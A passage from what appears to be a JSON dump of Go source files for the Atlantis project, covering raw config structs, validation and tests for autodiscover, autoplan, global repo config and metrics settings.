*string\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.AutoDiscover{},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to auto\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to disabled\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverDisabled,\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to enabled\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverEnabled,\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"mode set to random string\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &randomString,\n\t\t\t},\n\t\t\terrContains: String(\"valid value\"),\n\t\t},\n\t\t{\n\t\t\tdescription: \"ignore set with leading slash\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"/foo\",\n\t\t\t\t},\n\t\t\t},\n\t\t\terrContains: String(\"pattern must not begin with a slash '/'\"),\n\t\t},\n\t\t{\n\t\t\tdescription: `ignore set to broken pattern \\`,\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t`\\`,\n\t\t\t\t},\n\t\t\t},\n\t\t\terrContains: String(`invalid pattern: \\`),\n\t\t},\n\t\t{\n\t\t\tdescription: \"ignore set to broken pattern [\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"[\",\n\t\t\t\t},\n\t\t\t},\n\t\t\terrContains: String(\"invalid pattern: [\"),\n\t\t},\n\t\t{\n\t\t\tdescription: \"ignore set to valid pattern\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo*\",\n\t\t\t\t},\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"ignore set to long pattern\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo/**/bar/baz/??\",\n\t\t\t\t},\n\t\t\t},\n\t\t\terrContains: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"ignore set to one valid and one invalid pattern\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverAuto,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo\",\n\t\t\t\t\t\"foo[\",\n\t\t\t\t},\n\t\t\t},\n\t\t\terrContains: String(\"invalid pattern: foo[\"),\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tif c.errContains == nil {\n\t\t\t\tOk(t, c.input.Validate())\n\t\t\t} else {\n\t\t\t\tErrContains(t, *c.errContains, c.input.Validate())\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestAutoDiscover_ToValid(t *testing.T) {\n\tautoDiscoverEnabled := valid.AutoDiscoverEnabledMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.AutoDiscover\n\t\texp         *valid.AutoDiscover\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.AutoDiscover{},\n\t\t\texp: &valid.AutoDiscover{\n\t\t\t\tMode:        valid.AutoDiscoverAutoMode,\n\t\t\t\tIgnorePaths: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"value set\",\n\t\t\tinput: raw.AutoDiscover{\n\t\t\t\tMode: &autoDiscoverEnabled,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo\",\n\t\t\t\t\t\"bar/*\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: &valid.AutoDiscover{\n\t\t\t\tMode: valid.AutoDiscoverEnabledMode,\n\t\t\t\tIgnorePaths: []string{\n\t\t\t\t\t\"foo\",\n\t\t\t\t\t\"bar/*\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/autoplan.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\n// DefaultAutoPlanWhenModified is the default element in the when_modified\n// list if none is defined.\nvar DefaultAutoPlanWhenModified = []string{\n\t\"**/*.tf*\",\n\t\"**/terragrunt.hcl\",\n\t\"**/.terraform.lock.hcl\",\n}\n\ntype Autoplan struct {\n\tWhenModified []string `yaml:\"when_modified,omitempty\"`\n\tEnabled      *bool    `yaml:\"enabled,omitempty\"`\n}\n\nfunc (a Autoplan) ToValid() valid.Autoplan {\n\tvar v valid.Autoplan\n\tif a.WhenModified == nil {\n\t\tv.WhenModified = DefaultAutoPlanWhenModified\n\t} else {\n\t\tv.WhenModified = a.WhenModified\n\t}\n\n\tif a.Enabled == nil {\n\t\tv.Enabled = true\n\t} else {\n\t\tv.Enabled = *a.Enabled\n\t}\n\n\treturn v\n}\n\nfunc (a Autoplan) Validate() error {\n\treturn nil\n}\n\n// DefaultAutoPlan returns the default autoplan config.\nfunc DefaultAutoPlan() valid.Autoplan {\n\treturn valid.Autoplan{\n\t\tWhenModified: DefaultAutoPlanWhenModified,\n\t\tEnabled:      valid.DefaultAutoPlanEnabled,\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/autoplan_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestAutoPlan_UnmarshalYAML(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.Autoplan\n\t}{\n\t\t{\n\t\t\tdescription: \"omit unset fields\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.Autoplan{\n\t\t\t\tEnabled:      nil,\n\t\t\t\tWhenModified: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"all fields set\",\n\t\t\tinput: `\nenabled: true\nwhen_modified: [\"something-else\"]\n`,\n\t\t\texp: raw.Autoplan{\n\t\t\t\tEnabled:      Bool(true),\n\t\t\t\tWhenModified: []string{\"something-else\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"enabled false\",\n\t\t\tinput: `\nenabled: false\nwhen_modified: [\"something-else\"]\n`,\n\t\t\texp: raw.Autoplan{\n\t\t\t\tEnabled:      Bool(false),\n\t\t\t\tWhenModified: []string{\"something-else\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"modified elem empty\",\n\t\t\tinput: `\nenabled: false\nwhen_modified:\n- \"\"\n`,\n\t\t\texp: raw.Autoplan{\n\t\t\t\tEnabled:      Bool(false),\n\t\t\t\tWhenModified: []string{\"\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar a raw.Autoplan\n\t\t\terr := unmarshalString(c.input, &a)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, a)\n\t\t})\n\t}\n}\n\nfunc TestAutoplan_Validate(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Autoplan\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.Autoplan{},\n\t\t},\n\t\t{\n\t\t\tdescription: \"when_modified empty\",\n\t\t\tinput: raw.Autoplan{\n\t\t\t\tWhenModified: []string{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"enabled false\",\n\t\t\tinput: raw.Autoplan{\n\t\t\t\tEnabled: Bool(false),\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tOk(t, c.input.Validate())\n\t\t})\n\t}\n}\n\nfunc TestAutoplan_ToValid(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.Autoplan\n\t\texp         valid.Autoplan\n\t}{\n\t\t{\n\t\t\tdescription: \"nothing set\",\n\t\t\tinput:       raw.Autoplan{},\n\t\t\texp: valid.Autoplan{\n\t\t\t\tEnabled:      true,\n\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"when modified empty\",\n\t\t\tinput: raw.Autoplan{\n\t\t\t\tWhenModified: []string{},\n\t\t\t},\n\t\t\texp: valid.Autoplan{\n\t\t\t\tEnabled:      true,\n\t\t\t\tWhenModified: []string{},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"enabled false\",\n\t\t\tinput: raw.Autoplan{\n\t\t\t\tEnabled: Bool(false),\n\t\t\t},\n\t\t\texp: valid.Autoplan{\n\t\t\t\tEnabled:      false,\n\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"enabled true\",\n\t\t\tinput: raw.Autoplan{\n\t\t\t\tEnabled: Bool(true),\n\t\t\t},\n\t\t\texp: valid.Autoplan{\n\t\t\t\tEnabled:      true,\n\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.input.ToValid())\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/global_cfg.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\n// GlobalCfg is the raw schema for server-side repo config.\ntype GlobalCfg struct {\n\tRepos      []Repo              `yaml:\"repos\" json:\"repos\"`\n\tWorkflows  map[string]Workflow `yaml:\"workflows\" json:\"workflows\"`\n\tPolicySets PolicySets          `yaml:\"policies\" json:\"policies\"`\n\tMetrics    Metrics             `yaml:\"metrics\" json:\"metrics\"`\n\tTeamAuthz  TeamAuthz           `yaml:\"team_authz\" json:\"team_authz\"`\n}\n\n// Repo is the raw schema for repos in the server-side repo config.\ntype Repo struct {\n\tID                        string         `yaml:\"id\" json:\"id\"`\n\tBranch                    string         `yaml:\"branch\" json:\"branch\"`\n\tRepoConfigFile            string         `yaml:\"repo_config_file\" json:\"repo_config_file\"`\n\tPlanRequirements          []string       `yaml:\"plan_requirements\" json:\"plan_requirements\"`\n\tApplyRequirements         []string       `yaml:\"apply_requirements\" json:\"apply_requirements\"`\n\tImportRequirements        []string       `yaml:\"import_requirements\" json:\"import_requirements\"`\n\tPreWorkflowHooks          []WorkflowHook `yaml:\"pre_workflow_hooks\" json:\"pre_workflow_hooks\"`\n\tWorkflow                  *string        `yaml:\"workflow,omitempty\" json:\"workflow,omitempty\"`\n\tPostWorkflowHooks         []WorkflowHook `yaml:\"post_workflow_hooks\" json:\"post_workflow_hooks\"`\n\tAllowedWorkflows          []string       `yaml:\"allowed_workflows,omitempty\" json:\"allowed_workflows,omitempty\"`\n\tAllowedOverrides          []string       `yaml:\"allowed_overrides\" json:\"allowed_overrides\"`\n\tAllowCustomWorkflows      *bool          `yaml:\"allow_custom_workflows,omitempty\" json:\"allow_custom_workflows,omitempty\"`\n\tDeleteSourceBranchOnMerge *bool          `yaml:\"delete_source_branch_on_merge,omitempty\" json:\"delete_source_branch_on_merge,omitempty\"`\n\tRepoLocking               *bool          `yaml:\"repo_locking,omitempty\" json:\"repo_locking,omitempty\"`\n\tRepoLocks                 *RepoLocks     `yaml:\"repo_locks,omitempty\" json:\"repo_locks,omitempty\"`\n\tPolicyCheck               *bool          `yaml:\"policy_check,omitempty\" json:\"policy_check,omitempty\"`\n\tCustomPolicyCheck         *bool          `yaml:\"custom_policy_check,omitempty\" json:\"custom_policy_check,omitempty\"`\n\tAutoDiscover              *AutoDiscover  `yaml:\"autodiscover,omitempty\" json:\"autodiscover,omitempty\"`\n\tSilencePRComments         []string       `yaml:\"silence_pr_comments,omitempty\" json:\"silence_pr_comments,omitempty\"`\n}\n\nfunc (g GlobalCfg) Validate() error {\n\terr := validation.ValidateStruct(&g,\n\t\tvalidation.Field(&g.Repos),\n\t\tvalidation.Field(&g.Workflows),\n\t\tvalidation.Field(&g.Metrics),\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Check that all workflows referenced by repos are actually defined.\n\tfor _, repo := range g.Repos {\n\t\tif repo.Workflow == nil {\n\t\t\tcontinue\n\t\t}\n\t\tname := *repo.Workflow\n\t\tif name == valid.DefaultWorkflowName {\n\t\t\t// The 'default' workflow will always be defined.\n\t\t\tcontinue\n\t\t}\n\t\tfound := false\n\t\tfor w := range g.Workflows {\n\t\t\tif w == name {\n\t\t\t\tfound = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\treturn fmt.Errorf(\"workflow %q is not defined\", name)\n\t\t}\n\t}\n\n\t// Check that all allowed workflows are defined\n\tfor _, repo := range g.Repos {\n\t\tif repo.AllowedWorkflows == nil {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, name := range repo.AllowedWorkflows {\n\t\t\tif name == valid.DefaultWorkflowName {\n\t\t\t\t// The 'default' workflow will always be defined.\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfound := false\n\t\t\tfor w := range g.Workflows {\n\t\t\t\tif w == name {\n\t\t\t\t\tfound = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !found {\n\t\t\t\treturn fmt.Errorf(\"workflow %q is not defined\", name)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Validate supported SilencePRComments values.\n\tfor _, repo := range g.Repos {\n\t\tif repo.SilencePRComments == nil {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, silenceStage := range repo.SilencePRComments {\n\t\t\tif !utils.SlicesContains(valid.AllowedSilencePRComments, silenceStage) {\n\t\t\t\treturn fmt.Errorf(\n\t\t\t\t\t\"server-side repo config '%s' key value of '%s' is not supported, supported values are [%s]\",\n\t\t\t\t\tvalid.SilencePRCommentsKey,\n\t\t\t\t\tsilenceStage,\n\t\t\t\t\tstrings.Join(valid.AllowedSilencePRComments, \", \"),\n\t\t\t\t)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (g GlobalCfg) ToValid(defaultCfg valid.GlobalCfg) valid.GlobalCfg {\n\tworkflows := make(map[string]valid.Workflow)\n\n\t// assumes: globalcfg is always initialized with one repo .*\n\tglobalPlanReqs := defaultCfg.Repos[0].PlanRequirements\n\tapplyReqs := defaultCfg.Repos[0].ApplyRequirements\n\tvar globalApplyReqs []string\n\tfor _, req := range applyReqs {\n\t\tfor _, nonOverridableReq := range valid.NonOverridableApplyReqs {\n\t\t\tif req == nonOverridableReq {\n\t\t\t\tglobalApplyReqs = append(globalApplyReqs, req)\n\t\t\t}\n\t\t}\n\t}\n\tglobalImportReqs := defaultCfg.Repos[0].ImportRequirements\n\n\tfor k, v := range g.Workflows {\n\t\tvalidatedWorkflow := v.ToValid(k)\n\t\tworkflows[k] = validatedWorkflow\n\t\tif k == valid.DefaultWorkflowName {\n\t\t\t// Handle the special case where they're redefining the default\n\t\t\t// workflow. In this case, our default repo config references\n\t\t\t// the \"old\" default workflow and so needs to be redefined.\n\t\t\tdefaultCfg.Repos[0].Workflow = &validatedWorkflow\n\t\t}\n\t}\n\t// Merge in defaults without overriding.\n\tfor k, v := range defaultCfg.Workflows {\n\t\tif _, ok := workflows[k]; !ok {\n\t\t\tworkflows[k] = v\n\t\t}\n\t}\n\n\tvar repos []valid.Repo\n\tfor _, r := range g.Repos {\n\t\trepos = append(repos, r.ToValid(workflows, globalPlanReqs, globalApplyReqs, globalImportReqs))\n\t}\n\trepos = append(defaultCfg.Repos, repos...)\n\n\treturn valid.GlobalCfg{\n\t\tRepos:      repos,\n\t\tWorkflows:  workflows,\n\t\tPolicySets: g.PolicySets.ToValid(),\n\t\tMetrics:    g.Metrics.ToValid(),\n\t\tTeamAuthz:  g.TeamAuthz.ToValid(),\n\t}\n}\n\n// HasRegexID returns true if r is configured with a regex id instead of an\n// exact match id.\nfunc (r Repo) HasRegexID() bool {\n\treturn strings.HasPrefix(r.ID, \"/\") && strings.HasSuffix(r.ID, \"/\")\n}\n\n// HasRegexBranch returns true if a branch regex was set.\nfunc (r Repo) HasRegexBranch() bool {\n\treturn strings.HasPrefix(r.Branch, \"/\") && strings.HasSuffix(r.Branch, \"/\")\n}\n\nfunc (r Repo) Validate() error {\n\tidValid := func(value any) error {\n\t\tid := value.(string)\n\t\tif !r.HasRegexID() {\n\t\t\treturn nil\n\t\t}\n\t\t_, err := regexp.Compile(id[1 : len(id)-1])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"parsing: %s: %w\", id, err)\n\t\t}\n\t\treturn nil\n\t}\n\n\tbranchValid := func(value any) error {\n\t\tbranch := value.(string)\n\t\tif branch == \"\" {\n\t\t\treturn nil\n\t\t}\n\t\tif !strings.HasPrefix(branch, \"/\") || !strings.HasSuffix(branch, \"/\") {\n\t\t\treturn errors.New(\"regex must begin and end with a slash '/'\")\n\t\t}\n\t\twithoutSlashes := branch[1 : len(branch)-1]\n\t\t_, err := regexp.Compile(withoutSlashes)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"parsing: %s: %w\", branch, err)\n\t\t}\n\t\treturn nil\n\t}\n\n\trepoConfigFileValid := func(value any) error {\n\t\trepoConfigFile := value.(string)\n\t\tif repoConfigFile == \"\" {\n\t\t\treturn nil\n\t\t}\n\t\tif strings.HasPrefix(repoConfigFile, \"/\") {\n\t\t\treturn errors.New(\"must not starts with a slash '/'\")\n\t\t}\n\t\tif strings.Contains(repoConfigFile, \"../\") || strings.Contains(repoConfigFile, \"..\\\\\") {\n\t\t\treturn errors.New(\"must not contains parent directory path like '../'\")\n\t\t}\n\t\treturn nil\n\t}\n\n\toverridesValid := func(value any) error {\n\t\toverrides := value.([]string)\n\t\tfor _, o := range overrides {\n\t\t\tif o != valid.PlanRequirementsKey && o != valid.ApplyRequirementsKey && o != valid.ImportRequirementsKey && o != valid.WorkflowKey && o != valid.DeleteSourceBranchOnMergeKey && o != valid.RepoLockingKey && o != valid.RepoLocksKey && o != valid.PolicyCheckKey && o != valid.CustomPolicyCheckKey && o != valid.SilencePRCommentsKey {\n\t\t\t\treturn fmt.Errorf(\"%q is not a valid override, only %q, %q, %q, %q, %q, %q, %q, %q, %q, and %q are supported\", o, valid.PlanRequirementsKey, valid.ApplyRequirementsKey, valid.ImportRequirementsKey, valid.WorkflowKey, valid.DeleteSourceBranchOnMergeKey, valid.RepoLockingKey, valid.RepoLocksKey, valid.PolicyCheckKey, valid.CustomPolicyCheckKey, valid.SilencePRCommentsKey)\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tworkflowExists := func(value any) error {\n\t\t// We validate workflows in ParserValidator.validateRepoWorkflows\n\t\t// because we need the list of workflows to validate.\n\t\treturn nil\n\t}\n\n\tdeleteSourceBranchOnMergeValid := func(value any) error {\n\t\t//TOBE IMPLEMENTED\n\t\treturn nil\n\t}\n\n\tautoDiscoverValid := func(value any) error {\n\t\tautoDiscover := value.(*AutoDiscover)\n\t\tif autoDiscover != nil {\n\t\t\treturn autoDiscover.Validate()\n\t\t}\n\t\treturn nil\n\t}\n\n\trepoLocksValid := func(value any) error {\n\t\trepoLocks := value.(*RepoLocks)\n\t\tif repoLocks != nil {\n\t\t\treturn repoLocks.Validate()\n\t\t}\n\t\treturn nil\n\t}\n\n\treturn validation.ValidateStruct(&r,\n\t\tvalidation.Field(&r.ID, validation.Required, validation.By(idValid)),\n\t\tvalidation.Field(&r.Branch, validation.By(branchValid)),\n\t\tvalidation.Field(&r.RepoConfigFile, validation.By(repoConfigFileValid)),\n\t\tvalidation.Field(&r.AllowedOverrides, validation.By(overridesValid)),\n\t\tvalidation.Field(&r.PlanRequirements, validation.By(validPlanReq)),\n\t\tvalidation.Field(&r.ApplyRequirements, validation.By(validApplyReq)),\n\t\tvalidation.Field(&r.ImportRequirements, validation.By(validImportReq)),\n\t\tvalidation.Field(&r.Workflow, validation.By(workflowExists)),\n\t\tvalidation.Field(&r.DeleteSourceBranchOnMerge, validation.By(deleteSourceBranchOnMergeValid)),\n\t\tvalidation.Field(&r.AutoDiscover, validation.By(autoDiscoverValid)),\n\t\tvalidation.Field(&r.RepoLocks, validation.By(repoLocksValid)),\n\t)\n}\n\nfunc (r Repo) ToValid(workflows map[string]valid.Workflow, globalPlanReqs []string, globalApplyReqs []string, globalImportReqs []string) valid.Repo {\n\tvar id string\n\tvar idRegex *regexp.Regexp\n\tif r.HasRegexID() {\n\t\twithoutSlashes := r.ID[1 : len(r.ID)-1]\n\t\t// Safe to use MustCompile because we test it in Validate().\n\t\tidRegex = regexp.MustCompile(withoutSlashes)\n\t} else {\n\t\tid = r.ID\n\t}\n\n\tvar branchRegex *regexp.Regexp\n\tif r.HasRegexBranch() {\n\t\twithoutSlashes := r.Branch[1 : len(r.Branch)-1]\n\t\t// Safe to use MustCompile because we test it in Validate().\n\t\tbranchRegex = regexp.MustCompile(withoutSlashes)\n\t}\n\n\tvar workflow *valid.Workflow\n\tif r.Workflow != nil {\n\t\t// This key is guaranteed to exist because we test for it in\n\t\t// ParserValidator.validateRepoWorkflows.\n\t\tptr := workflows[*r.Workflow]\n\t\tworkflow = &ptr\n\t}\n\n\tvar preWorkflowHooks []*valid.WorkflowHook\n\tif len(r.PreWorkflowHooks) > 0 {\n\t\tfor _, hook := range r.PreWorkflowHooks {\n\t\t\tpreWorkflowHooks = append(preWorkflowHooks, hook.ToValid())\n\t\t}\n\t}\n\n\tvar postWorkflowHooks []*valid.WorkflowHook\n\tif len(r.PostWorkflowHooks) > 0 {\n\t\tfor _, hook := range r.PostWorkflowHooks {\n\t\t\tpostWorkflowHooks = append(postWorkflowHooks, hook.ToValid())\n\t\t}\n\t}\n\n\tvar mergedPlanReqs []string\n\tmergedPlanReqs = append(mergedPlanReqs, r.PlanRequirements...)\n\tvar mergedApplyReqs []string\n\tmergedApplyReqs = append(mergedApplyReqs, r.ApplyRequirements...)\n\tvar mergedImportReqs []string\n\tmergedImportReqs = append(mergedImportReqs, r.ImportRequirements...)\n\n\t// only add global reqs if they don't exist already.\nOuterGlobalPlanReqs:\n\tfor _, globalReq := range globalPlanReqs {\n\t\tfor _, currReq := range r.PlanRequirements {\n\t\t\tif globalReq == currReq {\n\t\t\t\tcontinue OuterGlobalPlanReqs\n\t\t\t}\n\t\t}\n\n\t\t// dont add policy_check step if repo have it explicitly disabled\n\t\tif globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck {\n\t\t\tcontinue\n\t\t}\n\t\tmergedPlanReqs = append(mergedPlanReqs, globalReq)\n\t}\nOuterGlobalApplyReqs:\n\tfor _, globalReq := range globalApplyReqs {\n\t\tfor _, currReq := range r.ApplyRequirements {\n\t\t\tif globalReq == currReq {\n\t\t\t\tcontinue OuterGlobalApplyReqs\n\t\t\t}\n\t\t}\n\n\t\t// dont add policy_check step if repo have it explicitly disabled\n\t\tif globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck {\n\t\t\tcontinue\n\t\t}\n\t\tmergedApplyReqs = append(mergedApplyReqs, globalReq)\n\t}\nOuterGlobalImportReqs:\n\tfor _, globalReq := range globalImportReqs {\n\t\tfor _, currReq := range r.ImportRequirements {\n\t\t\tif globalReq == currReq {\n\t\t\t\tcontinue OuterGlobalImportReqs\n\t\t\t}\n\t\t}\n\n\t\t// dont add policy_check step if repo have it explicitly disabled\n\t\tif globalReq == valid.PoliciesPassedCommandReq && r.PolicyCheck != nil && !*r.PolicyCheck {\n\t\t\tcontinue\n\t\t}\n\t\tmergedImportReqs = append(mergedImportReqs, globalReq)\n\t}\n\n\tvar autoDiscover *valid.AutoDiscover\n\tif r.AutoDiscover != nil {\n\t\tautoDiscover = r.AutoDiscover.ToValid()\n\t}\n\n\tvar repoLocks *valid.RepoLocks\n\tif r.RepoLocks != nil {\n\t\trepoLocks = r.RepoLocks.ToValid()\n\t}\n\n\treturn valid.Repo{\n\t\tID:                        id,\n\t\tIDRegex:                   idRegex,\n\t\tBranchRegex:               branchRegex,\n\t\tRepoConfigFile:            r.RepoConfigFile,\n\t\tPlanRequirements:          mergedPlanReqs,\n\t\tApplyRequirements:         mergedApplyReqs,\n\t\tImportRequirements:        mergedImportReqs,\n\t\tPreWorkflowHooks:          preWorkflowHooks,\n\t\tWorkflow:                  workflow,\n\t\tPostWorkflowHooks:         postWorkflowHooks,\n\t\tAllowedWorkflows:          r.AllowedWorkflows,\n\t\tAllowedOverrides:          r.AllowedOverrides,\n\t\tAllowCustomWorkflows:      r.AllowCustomWorkflows,\n\t\tDeleteSourceBranchOnMerge: r.DeleteSourceBranchOnMerge,\n\t\tRepoLocking:               r.RepoLocking,\n\t\tRepoLocks:                 repoLocks,\n\t\tPolicyCheck:               r.PolicyCheck,\n\t\tCustomPolicyCheck:         r.CustomPolicyCheck,\n\t\tAutoDiscover:              autoDiscover,\n\t\tSilencePRComments:         r.SilencePRComments,\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/metrics.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/go-ozzo/ozzo-validation/is\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\ntype Metrics struct {\n\tStatsd     *Statsd     `yaml:\"statsd\" json:\"statsd\"`\n\tPrometheus *Prometheus `yaml:\"prometheus\" json:\"prometheus\"`\n}\n\ntype Prometheus struct {\n\tEndpoint string `yaml:\"endpoint\" json:\"endpoint\"`\n}\n\nfunc (p *Prometheus) Validate() error {\n\treturn validation.ValidateStruct(p, validation.Field(&p.Endpoint, validation.Required))\n}\n\ntype Statsd struct {\n\tPort string `yaml:\"port\" json:\"port\"`\n\tHost string `yaml:\"host\" json:\"host\"`\n}\n\nfunc (s *Statsd) Validate() error {\n\treturn validation.ValidateStruct(s,\n\t\tvalidation.Field(&s.Host, validation.Required),\n\t\tvalidation.Field(&s.Port, validation.Required),\n\t\tvalidation.Field(&s.Host, is.Host),\n\t\tvalidation.Field(&s.Port, is.Int))\n}\n\nfunc (m Metrics) Validate() error {\n\tres := validation.ValidateStruct(&m,\n\t\tvalidation.Field(&m.Statsd, validation.NilOrNotEmpty),\n\t\tvalidation.Field(&m.Prometheus, validation.NilOrNotEmpty),\n\t)\n\treturn res\n}\n\nfunc (m Metrics) ToValid() valid.Metrics {\n\t// we've already validated at this point\n\tif m.Statsd != nil {\n\t\treturn valid.Metrics{\n\t\t\tStatsd: &valid.Statsd{\n\t\t\t\tHost: m.Statsd.Host,\n\t\t\t\tPort: m.Statsd.Port,\n\t\t\t},\n\t\t}\n\t}\n\tif m.Prometheus != nil {\n\t\treturn valid.Metrics{\n\t\t\tPrometheus: &valid.Prometheus{\n\t\t\t\tEndpoint: m.Prometheus.Endpoint,\n\t\t\t},\n\t\t}\n\t}\n\treturn valid.Metrics{}\n}\n"
  },
  {
    "path": "server/core/config/raw/metrics_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"encoding/json\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestMetrics_Unmarshal(t *testing.T) {\n\tt.Run(\"yaml\", func(t *testing.T) {\n\n\t\trawYaml := `\nstatsd:\n  host: 127.0.0.1\n  port: 8125\nprometheus:\n  endpoint: /metrics\n`\n\n\t\tvar result raw.Metrics\n\n\t\terr := unmarshalString(rawYaml, &result)\n\t\tassert.NoError(t, err)\n\t})\n\n\tt.Run(\"json\", func(t *testing.T) {\n\t\trawJSON := `\n{\n\t\"statsd\": {\n\t\t\"host\": \"127.0.0.1\",\n\t\t\"port\": \"8125\"\n\t},\n\t\"prometheus\": {\n\t\t\"endpoint\": \"/metrics\"\n\t}\n}\n`\n\n\t\tvar result raw.Metrics\n\n\t\terr := json.Unmarshal([]byte(rawJSON), &result)\n\t\tassert.NoError(t, err)\n\t})\n}\nfunc TestMetrics_Validate_Success(t *testing.T) {\n\n\tcases := []struct {\n\t\tdescription string\n\t\tsubject     